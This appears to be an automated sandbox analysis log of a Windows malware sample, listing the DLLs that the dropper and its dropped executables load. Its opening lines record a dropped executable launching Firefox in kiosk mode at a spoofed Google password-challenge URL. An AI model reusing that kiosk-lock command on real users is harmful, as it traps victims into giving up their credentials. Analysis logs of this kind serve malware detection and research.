Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Section loaded: iphlpapi.dll
